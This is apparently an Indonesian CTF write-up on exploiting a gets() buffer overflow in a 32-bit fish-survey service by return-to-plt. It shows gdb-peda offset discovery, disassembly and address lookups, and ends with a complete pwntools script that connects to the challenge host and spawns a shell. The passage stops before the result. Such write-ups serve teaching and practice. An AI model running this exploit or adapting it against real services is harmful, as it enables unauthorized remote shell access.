Diberikan sebuah service pada alamat 103.157.96.13
dengan port 7782
, service tersebut memungkinkan kita untuk menginputkan nama-nama ikan, berdasarkan binary file dan source code yang diberikan, challenge ini terbilang cukup sulit, karena harus memanfaatkan fungsi plt
untuk mendapatkan shell
, jika dilihat dari source code yang diberikan
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
char * freechar;
void id() {
system("/bin/id");
}
void get() {
char buff[56];
gets(buff);
printf("Wah ikan %s yang bagus. Terima kasih sudah mengisi survey kami\n", buff);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
freechar = (char*)malloc(512);
printf("-= Welcome to CTFR =-\n");
printf("-= Ayo Sebutkan Nama-Nama Ikan =-\n");
printf("Ketik nama ikan yang anda sukai: ");
get();
}
Terdapat sebuah variable
dengan nama freechar
bertipekan pointer char*
, yang artinya nantinya dalam memory datanya akan tersimpan pada heap
, bukan pada stack
, kemudian kita juga bisa melihat terdapat buffer overflow
pada bagian gets(buff)
, artinya dengan memanfaatkan buffer overflow
dan return to plt
kita bisa mendapatkan shell
, pertama cari terlebih dahulu offset yang bisa mem-buffer gets(buff),
saya menggunakan pattern create 100
pada gdb untuk mendapatkan offset yang bisa membuffer alamat eip
gdb-peda$ b *main
Breakpoint 1 at 0x804921a
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Breakpoint 1, 0x0804921a in main ()
gdb-peda$ c
Continuing.
-= Welcome to CTFR =-
-= Ayo Sebutkan Nama-Nama Ikan =-
Ketik nama ikan yang anda sukai: 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
Wah ikan 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' yang bagus. Terima kasih sudah mengisi survey kami
Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0x41334141 in ?? ()
Terlihat jika alamat EIP
ter-replace dengan nilai 0x41334141
, kemudian dilanjutkan dengan perintah pattern search 0x41334141
sehingga kita bisa mendapatkan nilai offset yang dicari untuk memenuhi buffer overflow
gdb-peda$ pattern search 0x41334141
Registers contain pattern buffer:
EDX+52 found at offset: 69
EBX+0 found at offset: 59
EBP+0 found at offset: 63
EIP+0 found at offset: 67
Registers point to pattern buffer:
[ESP] --> offset 71 - size ~30
Pattern buffer found at:
0xffffa9c6 : offset 0 - size 100 ($sp + -0x25ba [-2415 dwords])
0xffffcf39 : offset 0 - size 100 ($sp + -0x47 [-18 dwords])
References to pattern buffer found at:
0xffffcea4 : 0xffffcf39 ($sp + -0xdc [-55 dwords])
0xffffced4 : 0xffffcf39 ($sp + -0xac [-43 dwords])
gdb-peda$
dari hasil tersebut kita mendapatkan EIP+0 found at offset: 67
dimana untuk bisa mem-buffer alamat EIP
kita membutuhkan inputan sepanjang 67 karakter + 1
sehingga totalnya menjadi 68
, ini bisa kita pastikan dengan memeriksa info frame
pada gdb
gdb-peda$ info frame
Stack level 0, frame at 0xffffcf84:
eip = 0x41334141; saved eip = 0x41414941
called by frame at 0xffffcf88
Arglist at 0xffffcf7c, args:
Locals at 0xffffcf7c, Previous frame's sp is 0xffffcf84
Saved registers:
eip at 0xffffcf80
selanjutnya kita harus mencari alamat plt
untuk gets
dan system
, untuk gets
kita bisa langsung melihatnya pada fungsi get()
dengan melakukan disassamble
pada fungsi tersebut
gdb-peda$ pd get
Dump of assembler code for function get:
0x080491dd <+0>: push ebp
0x080491de <+1>: mov ebp,esp
0x080491e0 <+3>: push ebx
0x080491e1 <+4>: sub esp,0x44
0x080491e4 <+7>: call 0x80490f0 <__x86.get_pc_thunk.bx>
0x080491e9 <+12>: add ebx,0x2e17
0x080491ef <+18>: sub esp,0xc
0x080491f2 <+21>: lea eax,[ebp-0x40]
0x080491f5 <+24>: push eax
0x080491f6 <+25>: call 0x8049040 <gets@plt>
0x080491fb <+30>: add esp,0x10
0x080491fe <+33>: sub esp,0x8
0x08049201 <+36>: lea eax,[ebp-0x40]
0x08049204 <+39>: push eax
0x08049205 <+40>: lea eax,[ebx-0x1ff0]
0x0804920b <+46>: push eax
0x0804920c <+47>: call 0x8049030 <printf@plt>
0x08049211 <+52>: add esp,0x10
0x08049214 <+55>: nop
0x08049215 <+56>: mov ebx,DWORD PTR [ebp-0x4]
0x08049218 <+59>: leave
0x08049219 <+60>: ret
End of assembler dump.
gdb-peda$
fungsi plt gets ada pada bagian call 0x8049040 <gets@plt>
, kemudian selanjutnya kita membutuhkan alamat plt system
, karena idenya adalah kita akan membuffer variable freechar
dengan <system@plt>
dan memberikan string /bin/sh
sebagai argumanya melalui <gets@plt>
pada variable freechar
, untuk mendapatkan <system@plt>
kita bisa menggunakan perintah sederhana objdump -d chal17 | grep plt
$ objdump -d chal17 | grep plt
804909b: e9 80 ff ff ff jmp 8049020 <.plt>
80490cd: e8 ae ff ff ff call 8049080 <__libc_start_main@plt>
80491cf: e8 9c fe ff ff call 8049070 <system@plt>
80491f6: e8 45 fe ff ff call 8049040 <gets@plt>
804920c: e8 1f fe ff ff call 8049030 <printf@plt>
8049243: e8 48 fe ff ff call 8049090 <setvbuf@plt>
804925a: e8 31 fe ff ff call 8049090 <setvbuf@plt>
8049271: e8 1a fe ff ff call 8049090 <setvbuf@plt>
8049281: e8 ca fd ff ff call 8049050 <malloc@plt>
8049299: e8 c2 fd ff ff call 8049060 <puts@plt>
80492ab: e8 b0 fd ff ff call 8049060 <puts@plt>
80492bd: e8 6e fd ff ff call 8049030 <printf@plt>
dengan begitu kita bisa melihatnya pada bagian call 8049070 <system@plt>
, dengan cara ini juga bisa mencari alamat <gets@plt>
pada step sebelumnya, hanya saja karena kebetulan sudah terlihat pada fungsi get()
jadi tidak perlu lagi. sejauh ini kita sudah mendapatkan alamat <gets@plt>
yaitu 0x8049040
dan alamat <system@plt>
yaitu 0x8049070
, karena dalam kasus ini kita memanfaatkan fungsi plt
untuk melakukan exploitasi jenis vulnerablity ini sering disebut dengan istilah Return To Plt, langkah selanjutnya kita membutuhkan alamat dari variable freechar
yang nantinya akan kita jadikan sebagai destination dari <gets@plt>
, untuk itu kita perlu melakukan disassamble
pada fungsi main
gdb-peda$ pd main
Dump of assembler code for function main:
0x0804921a <+0>: lea ecx,[esp+0x4]
...
...
0x08049271 <+87>: call 0x8049090 <setvbuf@plt>
0x08049276 <+92>: add esp,0x10
0x08049279 <+95>: sub esp,0xc
0x0804927c <+98>: push 0x200
0x08049281 <+103>: call 0x8049050 <malloc@plt>
0x08049286 <+108>: add esp,0x10
0x08049289 <+111>: mov DWORD PTR [ebx+0x34],eax
0x0804928f <+117>: sub esp,0xc
0x08049292 <+120>: lea eax,[ebx-0x1fb0]
0x08049298 <+126>: push eax
0x08049299 <+127>: call 0x8049060 <puts@plt>
0x0804929e <+132>: add esp,0x10
0x080492a1 <+135>: sub esp,0xc
...
0x080492d8 <+190>: ret
End of assembler dump.
gdb-peda$
Jika kita perhatikan source code yang diberikan dan hasil dari disassamble fungsi main, dimana pada source code terdapat freechar = (char*)malloc(512);
yang artinya variable freechar
di alokasikan pada memori sebesar 512 byte
, dan pada hasil disassamble
perintah malloc
dipanggil pada 0x08049281 <+103>: call 0x8049050 <malloc@plt>
dengan memberikan breakpoint
setelah pemanggilan malloc
yaitu pada main+111
seharunya kita bisa mendapatkan alamat dari freechar
pada register EAX
.
gdb-peda$ b *main+111
Breakpoint 1 at 0x8049289
gdb-peda$ r
EAX: 0x804d1a0 --> 0x0
EBX: 0x804c000 --> 0x804bf08 --> 0x1
ECX: 0x0
EDX: 0x200
ESI: 0xf7fac000 --> 0x1e4d6c
EDI: 0xf7fac000 --> 0x1e4d6c
EBP: 0xffffcf88 --> 0x0
ESP: 0xffffcf80 --> 0xffffcfa0 --> 0x1
EIP: 0x8049289 (<main+111>: mov DWORD PTR [ebx+0x34],eax)
Bila diperhatikan EA
X bernilai 0x804d1a0
, ini berasal dari [ebx+0x34],eax
jika kita ingin memastikan bisa menggunakan perintah x/wx $ebx+0x34
gdb-peda$ x/wx $ebx+0x34
0x804c034 <freechar>: 0x00000000
gdb-peda$
karena ELFnya merupakan ELF 32 bit
jika kita memanggil sebuah fungsi yang memiliki paramter atau argumen, argumen tersebut akan diambil dari stack
, berbeda dengan ELF 64 bit
, dimana argumenya diambil dari register
, dengan mengikuti aturan tersebut jika kita menggunakan ROP
seharunya urutanya fungsi+ret+argumen
atau jika kita asumsikan dengan challenge ini bentuknya menjadi <gets@plt>+<system@plt>+freechar(1)+freechar(2)
, dimana freechar(1)
merupakan arguman untuk fungsi <gets@plt>
dan freechar(2)
merupakan argumen untuk fungsi <system@plt>
, jika kita susun dalam bentuk payload dengan informasi yang sudah didapatkan
from pwn import *
context.update(arch='i386', os='linux')
p = remote('103.157.96.13', 7782)
p.recvuntil("Ketik nama ikan yang anda sukai: ")
target = 0x804d1a0
gets = 0x08049040
system = 0x08049070
exploit = "A" * 68 + p32(gets) + p32(system) + p32(target) + p32(target)
p.sendline(exploit)
p.sendline("/bin/sh")
p.interactive()
dan jika dijalankan hasilnya adalah